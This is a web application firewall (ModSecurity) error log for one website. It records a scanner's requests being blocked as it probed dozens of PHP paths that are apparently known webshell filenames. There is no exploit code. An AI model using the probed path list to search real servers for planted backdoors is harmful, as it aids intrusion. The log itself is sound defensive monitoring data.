[Tue Jan 06 23:19:52.128596 2026] [:error] [pid 44904:tid 44958] [client 4.247.167.136:4575] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oGDtieuI1BJEZcvdaHQAAAFE"]
[Tue Jan 06 23:24:17.751950 2026] [:error] [pid 45012:tid 45033] [client 106.227.49.113:44403] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV0pIRaMAxCuju1d0uYuogAAANM"]
[Wed Jan 07 00:47:39.186906 2026] [:error] [pid 44905:tid 44990] [client 4.194.99.99:17396] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aV08q7u7ufwWVst9EAssHwAAAJY"]
[Wed Jan 07 00:47:40.570541 2026] [:error] [pid 45959:tid 45975] [client 4.194.99.99:17392] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aV08rFajdn8P3hjgMYxCrAAAAU0"]
[Wed Jan 07 00:47:41.882371 2026] [:error] [pid 35140:tid 35146] [client 4.194.99.99:17288] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aV08rXoQaIDFMbT-XMwRfgAAAQQ"]
[Wed Jan 07 00:47:43.770438 2026] [:error] [pid 45959:tid 45966] [client 4.194.99.99:17397] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws29.php"] [unique_id "aV08r1ajdn8P3hjgMYxCsAAAAUQ"]
[Wed Jan 07 00:47:44.552948 2026] [:error] [pid 44905:tid 44978] [client 4.194.99.99:17346] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aV08sLu7ufwWVst9EAssLAAAAIo"]
[Wed Jan 07 00:47:45.563644 2026] [:error] [pid 45012:tid 45014] [client 4.194.99.99:17384] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aV08sRaMAxCuju1d0uZOggAAAMA"]
[Wed Jan 07 00:47:46.372105 2026] [:error] [pid 35140:tid 35142] [client 4.194.99.99:17400] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aV08snoQaIDFMbT-XMwRiQAAAQA"]
[Wed Jan 07 00:47:47.460004 2026] [:error] [pid 45959:tid 45975] [client 4.194.99.99:17287] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oo.php"] [unique_id "aV08s1ajdn8P3hjgMYxCugAAAU0"]
[Wed Jan 07 00:47:49.484398 2026] [:error] [pid 45012:tid 45019] [client 4.194.99.99:17220] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aV08tRaMAxCuju1d0uZOkAAAAMU"]
[Wed Jan 07 00:47:51.560200 2026] [:error] [pid 44903:tid 44930] [client 4.194.99.99:17373] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aV08t9hHqjs38zbkQPBbEgAAABY"]
[Wed Jan 07 00:47:52.903660 2026] [:error] [pid 44903:tid 44912] [client 4.194.99.99:17300] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aV08uNhHqjs38zbkQPBbFgAAAAU"]
[Wed Jan 07 00:47:54.591787 2026] [:error] [pid 44905:tid 44978] [client 4.194.99.99:17390] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s11.php"] [unique_id "aV08uru7ufwWVst9EAssSwAAAIo"]
[Wed Jan 07 00:47:55.718175 2026] [:error] [pid 44905:tid 44970] [client 4.194.99.99:17377] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aV08u7u7ufwWVst9EAssUgAAAII"]
[Wed Jan 07 00:47:58.006933 2026] [:error] [pid 44903:tid 44918] [client 4.194.99.99:17362] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aV08vthHqjs38zbkQPBbJgAAAAs"]
[Wed Jan 07 00:47:59.762736 2026] [:error] [pid 45959:tid 45962] [client 4.194.99.99:17406] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aV08v1ajdn8P3hjgMYxC1wAAAUA"]
[Wed Jan 07 00:48:00.686654 2026] [:error] [pid 44905:tid 44969] [client 4.194.99.99:17355] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dir.php"] [unique_id "aV08wLu7ufwWVst9EAssXQAAAIE"]
[Wed Jan 07 00:48:02.160562 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:17363] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aV08wru7ufwWVst9EAssYwAAAJQ"]
[Wed Jan 07 00:48:03.179316 2026] [:error] [pid 45959:tid 45967] [client 4.194.99.99:17291] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aV08w1ajdn8P3hjgMYxC3AAAAUU"]
[Wed Jan 07 00:48:04.320286 2026] [:error] [pid 45959:tid 45985] [client 4.194.99.99:17350] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aV08xFajdn8P3hjgMYxC3gAAAVc"]
[Wed Jan 07 00:48:04.993121 2026] [:error] [pid 44903:tid 44922] [client 4.194.99.99:17394] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqw.php"] [unique_id "aV08xNhHqjs38zbkQPBbNgAAAA8"]
[Wed Jan 07 00:48:05.473103 2026] [:error] [pid 45012:tid 45021] [client 4.194.99.99:17371] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aV08xRaMAxCuju1d0uZOqwAAAMc"]
[Wed Jan 07 00:48:06.015144 2026] [:error] [pid 45959:tid 45983] [client 4.194.99.99:17391] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aV08xlajdn8P3hjgMYxC4QAAAVU"]
[Wed Jan 07 00:48:06.255358 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17370] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aV08xlajdn8P3hjgMYxC5QAAAUo"]
[Wed Jan 07 00:48:06.916044 2026] [:error] [pid 45012:tid 45027] [client 4.194.99.99:17238] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca1.php"] [unique_id "aV08xhaMAxCuju1d0uZOsAAAAM0"]
[Wed Jan 07 00:48:07.952069 2026] [:error] [pid 35140:tid 35151] [client 4.194.99.99:17354] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aV08x3oQaIDFMbT-XMwRpgAAAQk"]
[Wed Jan 07 00:48:08.869420 2026] [:error] [pid 44903:tid 44910] [client 4.194.99.99:17379] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aV08yNhHqjs38zbkQPBbOQAAAAM"]
[Wed Jan 07 00:48:10.171822 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17407] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aV08ythHqjs38zbkQPBbPAAAAAo"]
[Wed Jan 07 00:48:11.424822 2026] [:error] [pid 45012:tid 45021] [client 4.194.99.99:17298] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file51.php"] [unique_id "aV08yxaMAxCuju1d0uZOvQAAAMc"]
[Wed Jan 07 00:48:12.879763 2026] [:error] [pid 44905:tid 44981] [client 4.194.99.99:17283] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aV08zLu7ufwWVst9EAssdwAAAI0"]
[Wed Jan 07 00:48:13.590848 2026] [:error] [pid 44904:tid 44946] [client 4.194.99.99:17294] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aV08zTtieuI1BJEZcvd2CgAAAEU"]
[Wed Jan 07 00:48:14.358438 2026] [:error] [pid 44905:tid 44992] [client 4.194.99.99:17340] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aV08zru7ufwWVst9EAsshwAAAJg"]
[Wed Jan 07 00:48:14.940254 2026] [:error] [pid 44905:tid 44973] [client 4.194.99.99:17315] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abouta.php"] [unique_id "aV08zru7ufwWVst9EAssigAAAIU"]
[Wed Jan 07 00:48:16.394524 2026] [:error] [pid 45012:tid 45035] [client 4.194.99.99:17364] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aV080BaMAxCuju1d0uZOyAAAANU"]
[Wed Jan 07 00:48:17.408957 2026] [:error] [pid 45959:tid 45976] [client 4.194.99.99:17378] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aV080Vajdn8P3hjgMYxDDgAAAU4"]
[Wed Jan 07 00:48:17.958870 2026] [:error] [pid 45959:tid 45984] [client 4.194.99.99:17286] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aV080Vajdn8P3hjgMYxDEQAAAVY"]
[Wed Jan 07 00:48:18.596853 2026] [:error] [pid 45959:tid 45978] [client 4.194.99.99:17399] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fclas.php"] [unique_id "aV080lajdn8P3hjgMYxDFQAAAVA"]
[Wed Jan 07 00:48:19.461451 2026] [:error] [pid 44903:tid 44914] [client 4.194.99.99:17375] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aV0809hHqjs38zbkQPBbSgAAAAc"]
[Wed Jan 07 00:48:20.292091 2026] [:error] [pid 35140:tid 35154] [client 4.194.99.99:17360] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aV081HoQaIDFMbT-XMwRuAAAAQw"]
[Wed Jan 07 00:48:21.295729 2026] [:error] [pid 45959:tid 45974] [client 4.194.99.99:17393] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aV081Vajdn8P3hjgMYxDGwAAAUw"]
[Wed Jan 07 00:48:23.527773 2026] [:error] [pid 45012:tid 45036] [client 4.194.99.99:17353] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/File.php"] [unique_id "aV081xaMAxCuju1d0uZO1wAAANY"]
[Wed Jan 07 00:48:24.538432 2026] [:error] [pid 44905:tid 44987] [client 4.194.99.99:17385] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aV082Lu7ufwWVst9EAssogAAAJM"]
[Wed Jan 07 00:48:25.354197 2026] [:error] [pid 44903:tid 44923] [client 4.194.99.99:17374] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aV082dhHqjs38zbkQPBbWAAAABA"]
[Wed Jan 07 00:48:26.115144 2026] [:error] [pid 44904:tid 44963] [client 4.194.99.99:17383] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aV082jtieuI1BJEZcvd2HAAAAFY"]
[Wed Jan 07 00:48:26.696601 2026] [:error] [pid 35140:tid 35157] [client 4.194.99.99:17290] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all.php"] [unique_id "aV082noQaIDFMbT-XMwRxAAAAQ8"]
[Wed Jan 07 00:48:27.145680 2026] [:error] [pid 45959:tid 45980] [client 4.194.99.99:17301] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aV0821ajdn8P3hjgMYxDIAAAAVI"]
[Wed Jan 07 00:48:27.496307 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17359] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aV0829hHqjs38zbkQPBbXAAAAAo"]
[Wed Jan 07 00:48:27.878915 2026] [:error] [pid 44905:tid 44983] [client 4.194.99.99:17324] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aV0827u7ufwWVst9EAssqQAAAI8"]
[Wed Jan 07 00:48:28.331240 2026] [:error] [pid 44904:tid 44958] [client 4.194.99.99:17280] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbn.php"] [unique_id "aV083DtieuI1BJEZcvd2JQAAAFE"]
[Wed Jan 07 00:48:28.855393 2026] [:error] [pid 44904:tid 44942] [client 4.194.99.99:17217] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aV083DtieuI1BJEZcvd2JwAAAEE"]
[Wed Jan 07 00:48:29.776983 2026] [:error] [pid 45959:tid 45973] [client 4.194.99.99:17250] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aV083Vajdn8P3hjgMYxDJAAAAUs"]
[Wed Jan 07 00:48:31.223283 2026] [:error] [pid 35140:tid 35159] [client 4.194.99.99:17366] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aV0833oQaIDFMbT-XMwRzQAAARE"]
[Wed Jan 07 00:48:32.488298 2026] [:error] [pid 45959:tid 45975] [client 4.194.99.99:17348] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/berlin.php"] [unique_id "aV084Fajdn8P3hjgMYxDLgAAAU0"]
[Wed Jan 07 00:48:34.410363 2026] [:error] [pid 44903:tid 44914] [client 4.194.99.99:17402] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aV084thHqjs38zbkQPBbagAAAAc"]
[Wed Jan 07 00:48:34.792178 2026] [:error] [pid 45012:tid 45034] [client 4.194.99.99:17317] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aV084haMAxCuju1d0uZO4gAAANQ"]
